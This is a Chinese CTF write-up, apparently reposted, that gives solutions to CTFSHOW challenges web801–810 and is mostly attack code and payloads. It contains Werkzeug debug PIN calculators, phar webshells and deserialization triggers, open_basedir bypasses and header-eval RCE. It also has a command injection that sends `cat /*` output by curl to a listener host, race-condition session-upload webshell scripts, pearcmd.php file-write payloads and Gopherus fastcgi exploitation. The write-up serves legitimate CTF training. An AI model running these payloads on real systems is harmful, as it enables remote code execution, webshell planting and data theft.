CTFSHOW 常用姿势篇(801-810)

Posted yu22x

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了CTFSHOW 常用姿势篇(801-810)相关的知识,希望对你有一定的参考价值。

CTFSHOW 常用姿势篇

群主在视频里面已经讲解的很清楚了,下面内容有些简略,就当补充下payload了。

文章目录

web801

非预期解:直接读flag
/file?filename=/flag

预期解:计算PIN码
新版的计算方式发生了一些变化

probably_public_bits包含4个字段,分别为
username
modname
getattr(app, 'name', app.class.name)
getattr(mod, 'file', None)

其中username对应的值为当前主机的用户名
	linux可以查看/etc/passwd
	windows可以查看C:/Users目录
modname的值为'flask.app'
getattr(app, 'name', app.class.name)对应的值为'Flask'
getattr(mod, 'file', None)对应的值为app包的绝对路径

private_bits包含两个字段,分别为
str(uuid.getnode())
get_machine_id()

其中str(uuid.getnode())为网卡mac地址的十进制值
	在inux系统下得到存储位置为/sys/class/net/(对应网卡)/address 一般为eth0
	windows中cmd执行config /all查看
get_machine_id()的值为当前机器唯一的机器码
	对于非docker机每一个机器都会有自已唯一的id,linux的id一般存放在/etc/machine-id或/proc/sys/kernel/random/boot_id
	docker机则读取/proc/self/cgroup。
	windows的id在注册表中 (HKEY_LOCAL_MACHINE->SOFTWARE->Microsoft->Cryptography)

新版的代码有些变化,旧版的是下面的

import hashlib
import getpass
from flask import Flask
from itertools import chain
import sys
import uuid
username=getpass.getuser() 
app = Flask(__name__)
modname=getattr(app, "__module__", app.__class__.__module__)
mod = sys.modules.get(modname)

probably_public_bits = [
    username, #用户名 一般为root或者读下/etc/passwd
    modname,  #一般固定为flask.app
    getattr(app, "__name__", app.__class__.__name__), #固定,一般为Flask
    getattr(mod, "__file__", None),    #flask库下app.py的绝对路径,可以通过报错信息得到
]
mac ='02:42:ac:0c:ac:28'.replace(':','')
mac=str(int(mac,base=16))
private_bits = [
	mac,
	 "机器码"
	 ]
h = hashlib.md5()
for bit in chain(probably_public_bits, private_bits):
    if not bit:
        continue
    if isinstance(bit, str):
        bit = bit.encode("utf-8")
    h.update(bit)
h.update(b"cookiesalt")

cookie_name = "__wzd" + h.hexdigest()[:20]

# If we need to generate a pin we salt it a bit more so that we don't
# end up with the same value and generate out 9 digits
num=None
if num is None:
    h.update(b"pinsalt")
    num = ("%09d" % int(h.hexdigest(), 16))[:9]

# Format the pincode in groups of digits for easier remembering if
# we don't have a result yet.
rv=None
if rv is None:
    for group_size in 5, 4, 3:
        if len(num) % group_size == 0:
            rv = "-".join(
                num[x : x + group_size].rjust(group_size, "0")
                for x in range(0, len(num), group_size)
            )
            break
    else:
        rv = num
    print(rv)

新版的如下:

import hashlib
import getpass
from flask import Flask
from itertools import chain
import sys
import uuid
import typing as t
username='root'
app = Flask(__name__)
modname=getattr(app, "__module__", t.cast(object, app).__class__.__module__)
mod=sys.modules.get(modname)
mod = getattr(mod, "__file__", None)

probably_public_bits = [
    username, #用户名
    modname,  #一般固定为flask.app
    getattr(app, "__name__", app.__class__.__name__), #固定,一般为Flask
    '/usr/local/lib/python3.8/site-packages/flask/app.py',   #主程序(app.py)运行的绝对路径
]
print(probably_public_bits)
mac ='02:42:ac:0c:ac:28'.replace(':','')
mac=str(int(mac,base=16))
private_bits = [
   mac,#mac地址十进制
 "机器码"
     ]
print(private_bits)
h = hashlib.sha1()
for bit in chain(probably_public_bits, private_bits):
    if not bit:
        continue
    if isinstance(bit, str):
        bit = bit.encode("utf-8")
    h.update(bit)
h.update(b"cookiesalt")

cookie_name = f"__wzdh.hexdigest()[:20]"

# If we need to generate a pin we salt it a bit more so that we don't
# end up with the same value and generate out 9 digits
h.update(b"pinsalt")
num = f"int(h.hexdigest(), 16):09d"[:9]

# Format the pincode in groups of digits for easier remembering if
# we don't have a result yet.
rv=None
if rv is None:
    for group_size in 5, 4, 3:
        if len(num) % group_size == 0:
            rv = "-".join(
                num[x : x + group_size].rjust(group_size, "0")
                for x in range(0, len(num), group_size)
            )
            break
    else:
        rv = num

print(rv)

需要填的值就一个变化的地方—机器码。旧版的只需要读取/proc/self/cgroup即可,但是新增需要在前面再拼上/etc/machine-id或者/proc/sys/kernel/random/boot_id的值

web802

之前写过一篇专门针对这类题型的文章

web803

题目web目录下没有写权限,需要写到其他地方比如/tmp下
首先生成phar文件

<?php 
$phar = new Phar("shell.phar");
$phar->startBuffering();
$phar -> setStub('GIF89a'.'<?php __HALT_COMPILER();?>');
$phar->addFromString("a.txt", "<?php eval(\\$_POST[1]);?>");
$phar->stopBuffering();
?>

接着上传文件

import requests  
url="http://d4d6bb42-e30d-4ed7-b823-baa8ec7e8cc8.challenge.ctf.show/index.php"
data1='file':'/tmp/a.phar','content':open('shell.phar','rb').read()
data2='file':'phar:///tmp/a.phar/a','content':'123','1':'system("cat f*");'
requests.post(url,data=data1)
r=requests.post(url,data=data2)
print(r.text)

web804

生成phar文件

<?php 
class hacker
    public $code;
    public function __destruct()
        eval($this->code);
    

$a=new hacker();
$a->code="system('cat f*');";
$phar = new Phar("shell.phar");
$phar->startBuffering();
$phar->setMetadata($a);
$phar -> setStub('GIF89a'.'<?php __HALT_COMPILER();?>');
$phar->addFromString("a.txt", "<?php eval(\\$_POST[1]);?>");
$phar->stopBuffering();
?>

unlink触发反序列化

import requests  
url="http://bf1f07fe-9a6c-4425-994b-7886f64b2923.challenge.ctf.show/index.php"
data1='file':'/tmp/a.phar','content':open('shell.phar','rb').read()
data2='file':'phar:///tmp/a.phar','content':'123'
requests.post(url,data=data1)
r=requests.post(url,data=data2)
print(r.text)

web805

这篇文章写的挺好的https://www.cnblogs.com/hookjoy/p/12846164.html
payload:

1=mkdir(yu);chdir(yu);
ini_set('open_basedir','..');
chdir('..');chdir('..');chdir('..');chdir('..');
ini_set('open_basedir','/');
var_dump(scandir('/'));


1=mkdir(yu);chdir(yu);
ini_set('open_basedir','..');
chdir('..');chdir('..');chdir('..');chdir('..');
ini_set('open_basedir','/');
readfile('/ctfshowflag');

web806

参考文章
https://blog.csdn.net/qq_45570082/article/details/106602261

payload:

?code=eval(current(getallheaders()));

X-Forwarded-For:system('cat /c*');//

web807

vps开启监听 nc -nlvp 4567

payload

?url=https://;curl http://url:4567?a=`cat /*`

web808

1、利用session.upload_progress进行getshell

import requests
import threading
import sys
session=requests.session()
sess='yu22x'
url1="http://97ccc0d8-b608-44a0-970b-895263a76d15.challenge.ctf.show/"
url2='http://97ccc0d8-b608-44a0-970b-895263a76d15.challenge.ctf.show/?file=/tmp/sess_yu22x'
data1=
    'PHP_SESSION_UPLOAD_PROGRESS':'<?php eval($_POST[1]);?>'

data2=
    '1':'echo 11123;system("cat /*");',

file=
    'file':'1'

cookies=
    'PHPSESSID': sess

def write():
    while True:
        r = session.post(url1,data=data1,files=file,cookies=cookies)
def read():
    while True:
        r = session.post(url2,data=data2)
        if '11123' in r.text:
            print(r.text)

if __name__=="__main__":
    event=threading.Event()
    with requests.session() as session:
        for i in range(1,30): 
            threading.Thread(target=write).start()
        for i in range(1,30):
            threading.Thread(target=read).start()
    event.set()

能不能出来看运气了,半夜估计会好点。。。。。
2、利用Segfault遗留下临时文件文件进行getshell
其实就是让程序崩溃的同时上传文件,那么文件就会留在/tmp目录下。但是这种方法要知道文件名,要不然爆破起来也是挺麻烦的。
如果过滤了filter伪协议也可以包含自身来崩溃。

#author:yu22x
import requests 
import re 
url = "http://e604acc2-f6a6-4cdd-b4c3-59fd0e7a27d2.challenge.ctf.show/"
file=
	'file':'<?php system("cat /*");?>'

requests.post(url+'?file=php://filter/string.strip_tags/resource=/etc/passwd',files=file)
r=requests.get(url)
#print(r.text)
tmp=re.findall('=> (php.*?)\\\\n',r.text,re.S)[-1]
r=requests.get(url+'?file=/tmp/'+tmp)
print(r.text)

其实也可以用809的做法

web809

参考文章https://www.leavesongs.com/PENETRATION/docker-php-include-getshell.html
payload:
?file=/usr/local/lib/php/pearcmd.php&+config-create+/<?=eval($_POST[1]);?>+/tmp/a.txt

?file=/tmp/a.txt
1=system('cat /*');

记得用bp,因为hackbar可能会url编码。

web810

工具下载地址https://github.com/tarunkant/Gopherus
打fastcgi用法:
python gopherus.py --exploit fastcgi


最后将生成的payload下划线后面的url编码,也即gopher://127.0.0.1:9000/_后面的全部url编码。

以上是关于CTFSHOW 常用姿势篇(801-810)的主要内容,如果未能解决你的问题,请参考以下文章

CTFSHOW 常用姿势篇(811-820)

CTFSHOW 常用姿势篇(821-831)

CTFSHOW 常用姿势篇(821-830)

CTFSHOW每周大挑战——RCE篇

ctfshow-Misc入门 图片篇(50-56)

ctfshow-Misc入门 图片篇(50-54)